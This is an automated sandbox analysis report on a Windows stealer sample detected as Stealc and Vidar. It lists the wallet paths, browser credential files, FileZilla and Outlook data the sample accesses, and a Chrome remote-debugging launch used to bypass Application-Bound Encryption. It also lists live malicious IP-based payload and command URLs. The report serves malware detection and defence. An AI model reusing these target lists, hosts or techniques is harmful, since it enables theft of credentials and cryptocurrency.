Source: file.exe, 00000000.00000002.2674146425.0000000000414000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113s\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.$
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\MultiDoge\\multidoge.walletS
Source: file.exe, 00000000.00000002.2674146425.0000000000414000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2674146425.0000000000414000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RCIIZOAMem.exe\AppData\Roaming\\Electrum-LTC\wallets\\..*

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7376, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2162453737.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2674146425.0000000000391000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2675670278.000000000140E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7376, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60C40 sqlite3_bind_zeroblob,	0_2_6CB60C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60D60 sqlite3_bind_parameter_name,	0_2_6CB60D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88EA0 sqlite3_clear_bindings,	0_2_6CA88EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CB60B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86410 bind,WSAGetLastError,	0_2_6CA86410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA860B0 listen,WSAGetLastError,	0_2_6CA860B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C030 sqlite3_bind_parameter_count,	0_2_6CA8C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86070 PR_Listen,	0_2_6CA86070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CA8C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA122D0 sqlite3_bind_blob,	0_2_6CA122D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA863C0 PR_Bind,	0_2_6CA863C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA89480 sqlite3_bind_null,	0_2_6CA89480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA894F0 sqlite3_bind_text16,	0_2_6CA894F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA894C0 sqlite3_bind_text,	0_2_6CA894C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA89400 sqlite3_bind_int64,	0_2_6CA89400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://31.41.244.11/files/unique1/random.exe01	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/softokn3.dlli5	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exekghc	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe5	0%	Avira URL Cloud	safe
http://31.41.244.11/215.113.43/Zu7JuNko/index.phpe	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exedH	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe8	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe3	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpGHCAKK.exeata;	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dll8	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllt	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique1/random.exeRS	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique1/random.exe7d1a8Sb	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllT	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique1/random.exe60ac02b4ded8abeee1fbde719b5059bb	0%	Avira URL Cloud	safe
http://185.215.113.206/Ca	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllz	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732749593621&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732749594483&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381672994_1TK9ZKJ3U2IRZIRGY&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381672997_12BAH6BUVD15IMY6K&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b2?rn=1732749586781&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29AE41A233D86250177B54E632BA6317&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381967033_1AUI26TSVPCNDQ022&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360284621_15T7M3RM45GPX2VDW&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381967042_1FKAPEYMF956HWNGL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr, HIDAAKEG.0.dr, Web Data.14.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.14.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr, HIDAAKEG.0.dr, Web Data.14.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://ntp.msn.com/0	000003.log0.14.dr	false		high
https://ntp.msn.com/_default	QuotaManager.14.dr	false		high
https://www.last.fm/	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.14.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.14.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll8	file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.14.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.15.dr	false		high
https://docs.google.com/	manifest.json0.14.dr	false		high
https://www.youtube.com	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
http://31.41.244.11/	skotes.exe, 00000020.00000002.3382889346.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.15.dr	false		high
https://www.instagram.com	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dlli5	file.exe, 00000000.00000002.2675670278.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpGHCAKK.exeata;	file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json0.14.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
http://31.41.244.11/files/unique1/random.exe01	skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.messenger.com	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
http://31.41.244.11/files/unique1/random.exe8	skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	false		high
http://185.215.113.16/mine/random.exekghc	file.exe, 00000000.00000002.2675670278.00000000014A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/215.113.43/Zu7JuNko/index.phpe	skotes.exe, 00000020.00000002.3382889346.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i.y.qq.com/n2/m/index.html	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://www.deezer.com/	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
http://31.41.244.11/files/unique1/random.exe5	skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exe3	skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org/	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2709487314.000000006FD4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.14.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IIIECAAKECFHIECBKJDH.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.14.dr	false		high
https://vibe.naver.com/today	5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.14.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	false		high
